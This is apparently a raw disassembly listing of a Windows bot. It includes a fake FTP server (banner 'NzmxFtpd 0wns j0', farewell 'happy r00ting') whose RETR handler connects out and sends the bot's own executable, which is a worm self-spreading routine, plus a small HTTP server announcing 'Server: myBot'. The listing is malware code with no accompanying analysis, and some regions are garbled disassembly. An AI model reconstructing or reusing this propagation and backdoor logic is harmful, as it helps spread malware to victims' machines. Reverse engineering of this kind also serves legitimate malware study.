		cmp	ecx, [ebp+var_228]
		jnz	short loc_4055A2
		cmp	[ebp+var_228], 40h
		jnb	short loc_4055A2
		mov	[ebp+ecx*4+var_224], eax
		inc	[ebp+var_228]


loc_4055A2:				; CODE XREF: sub_4053D5+1B5j
					; sub_4053D5+1BEj
		cmp	eax, [ebp+var_4]
		jle	short loc_4055AA
		mov	[ebp+var_4], eax


loc_4055AA:				; CODE XREF: sub_4053D5+1D0j
		push	esi
		push	15h
		push	offset a220Nzmxftpd0wn ; "220 NzmxFtpd 0wns j0\n"
		push	eax
		call	ebx	; send
		jmp	loc_4059BF
; ---------------------------------------------------------------------------
		dw 8D56h
; ---------------------------------------------------------------------------
		test	[ebp+edi*8+var_4+3], esp
		jmp	fword ptr [edx+64h]
; ---------------------------------------------------------------------------
		db 50h
		dd 0C6E857h, 8590716Bh,	8B527FC0h, 0FFFDD895h, 3BC933FFh
		dd 8D3A76D6h, 0FFFDDC85h
		db 0FFh
; ---------------------------------------------------------------------------


loc_4055E1:				; CODE XREF: sub_4053D5+216j
		cmp	[eax], edi
		jz	short loc_4055EF
		inc	ecx
		add	eax, 4
		cmp	ecx, edx
		jb	short loc_4055E1
		jmp	short loc_405615
; ---------------------------------------------------------------------------


loc_4055EF:				; CODE XREF: sub_4053D5+20Ej
		dec	edx
		cmp	ecx, edx
		jnb	short loc_40560F
		lea	eax, [ebp+ecx*4+var_224]


loc_4055FB:				; CODE XREF: sub_4053D5+238j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	edx, [ebp+var_228]
		add	eax, 4
		dec	edx
		cmp	ecx, edx
		jb	short loc_4055FB


loc_40560F:				; CODE XREF: sub_4053D5+21Dj
		dec	[ebp+var_228]


loc_405615:				; CODE XREF: sub_4053D5+218j
		push	edi
		nop
		call	near ptr 71AB1A6Dh
		jmp	loc_4059BF
; ---------------------------------------------------------------------------
		lea	eax, [ebp+var_334]
		push	eax
		lea	eax, [ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_29C]
		push	offset aSS_1	; "%s %s"
		push	eax
		call	sub_418A52
		lea	eax, [ebp+var_AC]
		push	offset aUser_1	; "USER"
		push	eax
		call	sub_4176D0
		add	esp, 18h
		test	eax, eax
		jnz	short loc_405665
		push	esi
		push	16h
		push	offset a331PasswordReq ; "331 Password required\n"
		jmp	loc_4059AA
; ---------------------------------------------------------------------------


loc_405665:				; CODE XREF: sub_4053D5+281j
		lea	eax, [ebp+var_AC]
		push	offset aPass	; "PASS"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405689
		push	esi
		push	14h
		push	offset a230UserLoggedI ; "230 User logged in.\n"
		jmp	loc_4059AA
; ---------------------------------------------------------------------------


loc_405689:				; CODE XREF: sub_4053D5+2A5j
		lea	eax, [ebp+var_AC]
		push	offset aSyst	; "SYST"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4056AD
		push	esi
		push	0Dh
		push	offset a215Nzmxftpd ; "215 NzmxFtpd\n"
		jmp	loc_4059AA
; ---------------------------------------------------------------------------


loc_4056AD:				; CODE XREF: sub_4053D5+2C9j
		lea	eax, [ebp+var_AC]
		push	offset aRest	; "REST"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4056D1
		push	esi
		push	10h
		push	offset a350Restarting_ ; "350 Restarting.\n"
		jmp	loc_4059AA
; ---------------------------------------------------------------------------


loc_4056D1:				; CODE XREF: sub_4053D5+2EDj
		lea	eax, [ebp+var_AC]
		push	offset off_42A2D0
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4056F5
		push	esi
		push	1Eh
		push	offset a257IsCurrentDi ; "257 \"/\" is current directory.\n"
		jmp	loc_4059AA
; ---------------------------------------------------------------------------


loc_4056F5:				; CODE XREF: sub_4053D5+311j
		lea	eax, [ebp+var_AC]
		push	offset aType	; "TYPE"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405730
		lea	eax, [ebp+var_334]
		push	offset aA	; "A"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405730
		push	esi
		push	13h
		push	offset a200TypeSetToA_ ; "200 Type set to A.\n"
		jmp	loc_4059AA
; ---------------------------------------------------------------------------


loc_405730:				; CODE XREF: sub_4053D5+335j
					; sub_4053D5+34Cj
		lea	eax, [ebp+var_AC]
		push	offset aType	; "TYPE"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40576B
		lea	eax, [ebp+var_334]
		push	offset aI	; "I"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40576B
		push	esi
		push	13h
		push	offset a200TypeSetToI_ ; "200 Type set to I.\n"
		jmp	loc_4059AA
; ---------------------------------------------------------------------------


loc_40576B:				; CODE XREF: sub_4053D5+370j
					; sub_4053D5+387j
		lea	eax, [ebp+var_AC]
		push	offset aPasv	; "PASV"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4057B9
		push	0Ah
		mov	esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"...
		pop	ecx
		lea	edi, [ebp+var_124]
		rep movsd
		push	eax
		lea	eax, [ebp+var_124]
		push	eax
		movsw
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_124]


loc_4057A9:				; CODE XREF: sub_4053D5+423j
		push	eax
		push	[ebp+arg_0]
		call	ebx	; send
		xor	esi, esi


loc_4057B1:				; CODE XREF: sub_4053D5+4F6j
		mov	edi, [ebp+arg_0]
		jmp	loc_4059AD
; ---------------------------------------------------------------------------


loc_4057B9:				; CODE XREF: sub_4053D5+3ABj
		lea	eax, [ebp+var_AC]
		push	offset aList	; "LIST"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4057FA
		push	5
		mov	esi, offset a226TransferCom ; "226 Transfer complete\n"
		pop	ecx
		lea	edi, [ebp+var_C4]
		rep movsd
		movsw
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		movsb
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_C4]
		jmp	short loc_4057A9
; ---------------------------------------------------------------------------


loc_4057FA:				; CODE XREF: sub_4053D5+3F9j
		lea	eax, [ebp+var_AC]
		push	offset aPort	; "PORT"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4058D0
		lea	eax, [ebp+var_2D0]
		push	eax
		lea	eax, [ebp+var_F8]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_29C]
		push	offset aS	; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"...
		push	eax
		call	sub_418A52
		lea	eax, [ebp+var_F8]
		push	eax
		call	sub_41781F
		mov	edi, eax
		lea	eax, [ebp+var_2D0]
		push	eax
		call	sub_41781F
		mov	[ebp+var_8], eax
		push	32h
		lea	eax, [ebp+var_F8]
		push	esi
		push	eax
		call	sub_417330
		add	esp, 34h
		lea	eax, [ebp+var_F8]
		push	[ebp+var_8]
		push	edi
		push	offset aXX	; "%x%x\n"
		push	eax
		call	sub_4172AE
		push	10h
		lea	eax, [ebp+var_F8]
		push	esi
		push	eax
		call	sub_418A3B
		add	esp, 1Ch
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_48]
		push	offset aS_S_S_S	; "%s.%s.%s.%s"
		push	eax
		call	sub_4172AE
		add	esp, 18h
		push	esi
		push	1Dh
		push	offset a200PortCommand ; "200 PORT command successful.\n"
		push	[ebp+arg_0]
		call	ebx	; send
		jmp	loc_4057B1
; ---------------------------------------------------------------------------


loc_4058D0:				; CODE XREF: sub_4053D5+43Aj
		lea	eax, [ebp+var_AC]
		push	offset aRetr	; "RETR"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40598B
		push	esi
		push	28h
		push	offset a150OpeningBina ; "150 Opening BINARY mode data connection"...
		push	edi
		call	ebx	; send
		push	[ebp+var_8]
		lea	eax, [ebp+var_48]
		push	eax
		call	sub_4059DB
		pop	ecx
		cmp	eax, 1
		pop	ecx
		jnz	short loc_405981
		call	sub_405A58
		cmp	eax, 1
		jnz	loc_4059AD
		push	esi
		push	17h
		push	offset a226TransferC_0 ; "226 Transfer complete.\n"
		push	edi
		call	ebx	; send
		lea	eax, [ebp+var_6D8]
		push	eax
		lea	eax, [ebp+var_48]
		push	dword_43C83C
		push	eax
		lea	eax, [ebp+var_8DC]
		push	offset unk_42A128
		push	eax
		call	sub_4172AE
		add	esp, 14h
		cmp	[ebp+var_440], esi
		jnz	short loc_405972
		push	esi
		lea	eax, [ebp+var_8DC]
		push	[ebp+var_444]
		push	eax
		lea	eax, [ebp+var_4C4]
		push	eax
		push	[ebp+var_6DC]
		call	sub_40D679
		add	esp, 14h


loc_405972:				; CODE XREF: sub_4053D5+578j
		lea	eax, [ebp+var_8DC]
		push	eax
		call	sub_40BF6D
		pop	ecx
		jmp	short loc_4059AD
; ---------------------------------------------------------------------------


loc_405981:				; CODE XREF: sub_4053D5+532j
		push	esi
		push	20h
		push	offset a425CanTOpenDat ; "425 Can't open data connection.\n"
		jmp	short loc_4059AA
; ---------------------------------------------------------------------------


loc_40598B:				; CODE XREF: sub_4053D5+510j
		lea	eax, [ebp+var_AC]
		push	offset aQuit	; "QUIT"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4059AD
		push	esi
		push	1Bh
		push	offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n"


loc_4059AA:				; CODE XREF: sub_4053D5+28Bj
					; sub_4053D5+2AFj ...
		push	edi
		call	ebx	; send


loc_4059AD:				; CODE XREF: sub_4053D5+3DFj
					; sub_4053D5+53Cj ...
		push	64h
		lea	eax, [ebp+var_29C]
		push	esi
		push	eax
		call	sub_417330
		add	esp, 0Ch


loc_4059BF:				; CODE XREF: sub_4053D5+1E0j
					; sub_4053D5+247j
		inc	edi
		cmp	edi, [ebp+var_4]
		mov	[ebp+arg_0], edi
		jle	loc_405503
		jmp	loc_4054C8
; ---------------------------------------------------------------------------


loc_4059D1:				; CODE XREF: sub_4053D5+11Ej
		push	1
		pop	eax


loc_4059D4:				; CODE XREF: sub_4053D5+D0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_4053D5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4059DB	proc near		; CODE XREF: sub_4053D5+528p

var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1A0h
		lea	eax, [ebp+var_1A0]
		push	eax
		push	101h
		nop
		call	near ptr 71AB41DAh
		push	0
		push	1
		push	2
		call	near ptr 71AB3C22h
		nop
		push	[ebp+arg_0]
		mov	dword_43C838, eax
		mov	[ebp+var_10], 2
		nop
		call	near ptr 71AB12F8h
		push	[ebp+arg_4]
		mov	[ebp+var_C], eax
		nop
		call	near ptr 71AB1746h
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	dword_43C838
		nop
		call	near ptr 71AB3E5Dh
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_405A53
		push	dword_43C838
		nop
		call	near ptr 71AB1A6Dh
		nop
		call	near ptr 71AB1836h
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_405A53:				; CODE XREF: sub_4059DB+60j
		push	1
		pop	eax
		leave
		retn
sub_4059DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405A58	proc near		; CODE XREF: sub_4053D5+534p

var_504		= byte ptr -504h
var_104		= byte ptr -104h

		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	esi
		lea	eax, [ebp+var_104]
		push	104h
		push	eax
		push	0
		call	near ptr 2660000h
		nop
		lea	eax, [ebp+var_104]
		push	offset aRb	; "rb"
		push	eax
		call	sub_4179A8
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_405AEF
		test	byte ptr [esi+0Ch], 10h
		jnz	short loc_405AD3
		push	edi
		mov	edi, 400h


loc_405A9B:				; CODE XREF: sub_405A58+78j
		push	esi
		push	1
		lea	eax, [ebp+var_504]
		push	edi
		push	eax
		call	sub_418A86
		add	esp, 10h
		lea	eax, [ebp+var_504]
		push	0
		push	edi
		push	eax
		push	dword_43C838
		nop
		call	near ptr 71AB1AF4h
		push	1
		nop
		call	near ptr 260048Fh
		test	byte ptr [esi+0Ch], 10h
		jz	short loc_405A9B
		pop	edi


loc_405AD3:				; CODE XREF: sub_405A58+3Bj
		push	esi
		call	sub_417900
		pop	ecx
		push	dword_43C838
		nop
		call	near ptr 71AB1A6Dh
		nop
		call	near ptr 71AB1836h
		push	1
		pop	eax


loc_405AEF:				; CODE XREF: sub_405A58+35j
		pop	esi
		leave
		retn
sub_405A58	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405AF2	proc near		; DATA XREF: sub_407252+333o
					; sub_40EE72+54E6o

var_28F0	= byte ptr -28F0h
var_18F0	= byte ptr -18F0h
var_8F0		= byte ptr -8F0h
var_6F0		= byte ptr -6F0h
var_5EC		= dword	ptr -5ECh
var_5E8		= byte ptr -5E8h
var_360		= byte ptr -360h
var_25C		= dword	ptr -25Ch
var_254		= dword	ptr -254h
var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= dword	ptr -248h
var_23C		= byte ptr -23Ch
var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_34		= byte ptr -34h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 28F0h
		call	sub_417B30
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_5EC]
		push	1
		rep movsd
		pop	esi
		xor	ebx, ebx
		mov	[eax+3ACh], esi
		push	10h
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		mov	[ebp+var_14], esi
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_24], 2
		push	[ebp+var_25C]
		call	dword_43F668
		push	ebx
		push	esi
		push	2
		mov	[ebp+var_22], ax
		mov	[ebp+var_20], ebx
		call	dword_43F6E8
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_C], edi
		jz	loc_405EDD
		mov	eax, [ebp+var_254]
		push	10h
		imul	eax, 234h
		mov	dword_4450CC[eax], edi
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	dword_43F694
		cmp	eax, 0FFFFFFFFh
		jz	loc_405EDD
		push	7FFFFFFFh
		push	edi
		call	dword_43F690
		cmp	eax, 0FFFFFFFFh
		jz	loc_405EDD
		lea	eax, [ebp+var_14]
		push	eax
		push	8004667Eh
		push	edi
		call	dword_43F704
		cmp	eax, 0FFFFFFFFh
		jz	loc_405EDD
		mov	ebx, esi
		mov	[ebp+var_134], edi
		mov	[ebp+var_138], ebx
		mov	[ebp+var_8], edi


loc_405BC9:				; CODE XREF: sub_405AF2+3E1j
		push	41h
		xor	eax, eax
		pop	ecx
		lea	esi, [ebp+var_138]
		push	eax
		push	eax
		push	eax
		lea	eax, [ebp+var_6F0]
		push	eax
		mov	eax, [ebp+var_8]
		lea	edi, [ebp+var_6F0]
		inc	eax
		rep movsd
		push	eax
		call	dword_43F650
		cmp	eax, 0FFFFFFFFh
		jz	loc_405ED8
		xor	esi, esi
		mov	[ebp+var_4], esi


loc_405BFF:				; CODE XREF: sub_405AF2+3DBj
		lea	eax, [ebp+var_6F0]
		push	eax
		push	esi
		call	dword_43F560
		test	eax, eax
		jz	loc_405EC3
		cmp	esi, [ebp+var_C]
		jnz	short loc_405C81
		lea	eax, [ebp+var_10]
		mov	[ebp+var_10], 10h
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		push	[ebp+var_C]
		call	dword_43F6FC
		cmp	eax, 0FFFFFFFFh
		jz	loc_405EC3
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_405C53
		lea	edx, [ebp+var_134]


loc_405C47:				; CODE XREF: sub_405AF2+15Fj
		cmp	[edx], eax
		jz	short loc_405C53
		inc	ecx
		add	edx, 4
		cmp	ecx, ebx
		jb	short loc_405C47


loc_405C53:				; CODE XREF: sub_405AF2+14Dj
					; sub_405AF2+157j
		cmp	ecx, ebx
		jnz	short loc_405C70
		cmp	ebx, 40h
		jnb	short loc_405C70
		mov	[ebp+ecx*4+var_134], eax
		mov	ebx, [ebp+var_138]
		inc	ebx
		mov	[ebp+var_138], ebx


loc_405C70:				; CODE XREF: sub_405AF2+163j
					; sub_405AF2+168j
		cmp	eax, [ebp+var_8]
		jbe	loc_405EC3
		mov	[ebp+var_8], eax
		jmp	loc_405EC3
; ---------------------------------------------------------------------------


loc_405C81:				; CODE XREF: sub_405AF2+126j
		mov	edi, 1000h
		lea	eax, [ebp+var_28F0]
		push	edi
		push	0
		push	eax
		call	sub_417330
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_417330
		add	esp, 18h
		lea	eax, [ebp+var_28F0]
		push	0
		push	edi
		push	eax
		push	esi
		call	dword_43F680
		test	eax, eax
		jg	short loc_405D14
		push	esi
		call	dword_43F700
		xor	ecx, ecx
		test	ebx, ebx
		jbe	loc_405EC3
		lea	eax, [ebp+var_134]


loc_405CD3:				; CODE XREF: sub_405AF2+1EBj
		cmp	[eax], esi
		jz	short loc_405CE4
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_405CD3
		jmp	loc_405EC3
; ---------------------------------------------------------------------------


loc_405CE4:				; CODE XREF: sub_405AF2+1E3j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_405D08
		lea	eax, [ebp+ecx*4+var_134]


loc_405CF2:				; CODE XREF: sub_405AF2+214j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_405CF2


loc_405D08:				; CODE XREF: sub_405AF2+1F7j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	loc_405EC3
; ---------------------------------------------------------------------------


loc_405D14:				; CODE XREF: sub_405AF2+1C8j
		xor	esi, esi
		push	104h
		lea	eax, [ebp+var_23C]
		push	esi
		push	eax
		call	sub_417330
		lea	eax, [ebp+var_28F0]
		mov	[ebp+arg_0], esi
		push	eax
		call	sub_417AB0
		add	esp, 10h
		test	eax, eax
		jbe	loc_405EC3


loc_405D42:				; CODE XREF: sub_405AF2+309j
		mov	eax, [ebp+arg_0]
		mov	al, [ebp+eax+var_28F0]
		cmp	al, 0Ah
		mov	[ebp+esi+var_18F0], al
		jnz	loc_405DE7
		mov	esi, offset aGet ; "GET	"
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_405DBB
		lea	eax, [ebp+var_18F0]
		push	eax
		call	sub_417AB0
		cmp	eax, 5
		pop	ecx
		jbe	short loc_405DBB
		mov	eax, offset asc_42A3B4 ; " "
		push	eax
		push	eax
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_417880
		pop	ecx
		pop	ecx
		push	eax
		call	sub_417880
		pop	ecx
		pop	ecx
		push	eax
		call	sub_418B6E
		push	eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_4179C0
		add	esp, 10h
		jmp	short loc_405DD2
; ---------------------------------------------------------------------------


loc_405DBB:				; CODE XREF: sub_405AF2+27Fj
					; sub_405AF2+291j
		lea	eax, [ebp+var_18F0]
		push	offset asc_42A3B0 ; "\r\n"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_405E06


loc_405DD2:				; CODE XREF: sub_405AF2+2C7j
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_417330
		add	esp, 0Ch
		or	esi, 0FFFFFFFFh


loc_405DE7:				; CODE XREF: sub_405AF2+263j
		inc	[ebp+arg_0]
		lea	eax, [ebp+var_28F0]
		push	eax
		inc	esi
		call	sub_417AB0
		cmp	[ebp+arg_0], eax
		pop	ecx
		jb	loc_405D42
		jmp	loc_405EC3
; ---------------------------------------------------------------------------


loc_405E06:				; CODE XREF: sub_405AF2+2DEj
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_405E50
		lea	eax, [ebp+var_134]


loc_405E12:				; CODE XREF: sub_405AF2+32Dj
		mov	esi, [ebp+var_4]
		cmp	[eax], esi
		jz	short loc_405E23
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_405E12
		jmp	short loc_405E53
; ---------------------------------------------------------------------------


loc_405E23:				; CODE XREF: sub_405AF2+325j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_405E47
		lea	eax, [ebp+ecx*4+var_134]


loc_405E31:				; CODE XREF: sub_405AF2+353j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_405E31


loc_405E47:				; CODE XREF: sub_405AF2+336j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	short loc_405E53
; ---------------------------------------------------------------------------


loc_405E50:				; CODE XREF: sub_405AF2+318j
		mov	esi, [ebp+var_4]


loc_405E53:				; CODE XREF: sub_405AF2+32Fj
					; sub_405AF2+35Cj
		lea	eax, [ebp+var_23C]
		test	eax, eax
		jz	short loc_405EBC
		lea	eax, [ebp+var_360]
		push	eax
		call	sub_417AB0
		mov	edi, eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_417AB0
		add	edi, eax
		pop	ecx
		cmp	edi, 104h
		pop	ecx
		jnb	short loc_405EBC
		and	[ebp+arg_0], 0
		lea	eax, [ebp+arg_0]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_43F704
		push	[ebp+var_254]
		lea	eax, [ebp+var_23C]
		push	[ebp+var_248]
		push	eax
		lea	eax, [ebp+var_360]
		push	eax
		push	esi
		call	sub_4060D0
		add	esp, 14h
		jmp	short loc_405EC3
; ---------------------------------------------------------------------------


loc_405EBC:				; CODE XREF: sub_405AF2+369j
					; sub_405AF2+38Fj
		push	esi
		call	dword_43F700


loc_405EC3:				; CODE XREF: sub_405AF2+11Dj
					; sub_405AF2+143j ...
		mov	esi, [ebp+var_4]
		inc	esi
		cmp	esi, [ebp+var_8]
		mov	[ebp+var_4], esi
		jbe	loc_405BFF
		jmp	loc_405BC9
; ---------------------------------------------------------------------------


loc_405ED8:				; CODE XREF: sub_405AF2+102j
		mov	edi, [ebp+var_C]
		xor	ebx, ebx


loc_405EDD:				; CODE XREF: sub_405AF2+6Aj
					; sub_405AF2+92j ...
		call	dword_43F5FC
		push	eax
		lea	eax, [ebp+var_8F0]
		push	offset unk_42A36C
		push	eax
		call	sub_4172AE
		add	esp, 0Ch
		cmp	[ebp+var_24C], ebx
		jnz	short loc_405F23
		push	ebx
		lea	eax, [ebp+var_8F0]
		push	[ebp+var_250]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	eax
		push	[ebp+var_5EC]
		call	sub_40D679
		add	esp, 14h


loc_405F23:				; CODE XREF: sub_405AF2+40Cj
		lea	eax, [ebp+var_8F0]
		push	eax
		call	sub_40BF6D
		pop	ecx
		push	edi
		call	dword_43F700
		push	[ebp+var_254]
		call	sub_417076
		pop	ecx
		push	ebx
		call	near ptr 25F0278h
		nop
		pop	edi
		pop	esi
		pop	ebx
sub_405AF2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405F4D	proc near		; DATA XREF: sub_4060D0+24Do

var_1654	= byte ptr -1654h
var_654		= byte ptr -654h
var_550		= byte ptr -550h
var_44C		= dword	ptr -44Ch
var_3C8		= byte ptr -3C8h
var_2C4		= byte ptr -2C4h
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_A4		= dword	ptr -0A4h
var_9C		= byte ptr -9Ch
var_68		= byte ptr -68h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1654h
		call	sub_417B30
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_44C]
		rep movsd
		mov	dword ptr [eax+3ACh], 1
		lea	eax, [ebp+var_3C8]
		push	eax
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_4172AE
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	eax
		lea	eax, [ebp+var_654]
		push	eax
		call	sub_4172AE
		xor	edi, edi
		pop	ecx
		cmp	[ebp+var_A4], edi
		pop	ecx
		jz	short loc_405FB3
		push	offset aTextHtml ; "text/html"
		jmp	short loc_405FB8
; ---------------------------------------------------------------------------


loc_405FB3:				; CODE XREF: sub_405F4D+5Dj
		push	offset aApplicationOct ; "application/octet-stream"


loc_405FB8:				; CODE XREF: sub_405F4D+64j
		lea	eax, [ebp+var_9C]
		push	eax
		call	sub_4172AE
		pop	ecx
		lea	eax, [ebp+var_68]
		pop	ecx
		mov	esi, 409h
		push	46h
		push	eax
		push	offset aDddDdMmmYyyy ; "ddd, dd	MMM yyyy"
		push	edi
		push	edi
		push	esi
		nop
		call	near ptr 2680000h
		lea	eax, [ebp+var_20]
		push	1Eh
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	edi
		push	edi
		push	esi
		call	near ptr 2670000h
		nop
		lea	eax, [ebp+var_20]
		cmp	[ebp+var_B8], 0FFFFFFFFh
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		jnz	short loc_406031
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_4172AE
		add	esp, 24h
		jmp	short loc_406052
; ---------------------------------------------------------------------------


loc_406031:				; CODE XREF: sub_405F4D+C5j
		push	[ebp+var_B8]
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_4172AE
		add	esp, 28h


loc_406052:				; CODE XREF: sub_405F4D+E2j
		lea	eax, [ebp+var_1654]
		push	edi
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1654]
		push	eax
		push	[ebp+var_44C]
		call	dword_43F6B8
		cmp	[ebp+var_A4], edi
		jnz	short loc_406092
		lea	eax, [ebp+var_550]
		push	eax
		push	[ebp+var_44C]
		call	sub_406A0D
		pop	ecx
		pop	ecx
		jmp	short loc_4060AF
; ---------------------------------------------------------------------------


loc_406092:				; CODE XREF: sub_405F4D+12Dj
		lea	eax, [ebp+var_654]
		push	eax
		push	edi
		push	[ebp+var_44C]
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_406387
		add	esp, 10h


loc_4060AF:				; CODE XREF: sub_405F4D+143j
		push	[ebp+var_44C]
		call	dword_43F700
		push	[ebp+var_B4]
		call	sub_417076
		pop	ecx
		push	edi
		nop
		call	near ptr 25F0278h
		pop	edi
		pop	esi
sub_405F4D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4060D0	proc near		; CODE XREF: sub_405AF2+3C0p

var_8C4		= byte ptr -8C4h
var_6C4		= dword	ptr -6C4h
var_640		= byte ptr -640h
var_53C		= byte ptr -53Ch
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_31C		= dword	ptr -31Ch
var_318		= dword	ptr -318h
var_314		= byte ptr -314h
var_211		= byte ptr -211h
var_210		= byte ptr -210h
var_10C		= byte ptr -10Ch
var_10B		= byte ptr -10Bh
var_10A		= byte ptr -10Ah
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 8C4h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	104h
		lea	eax, [ebp+var_210]
		push	edi
		push	eax
		mov	[ebp+var_4], edi
		call	sub_417330
		mov	eax, [ebp+arg_8]
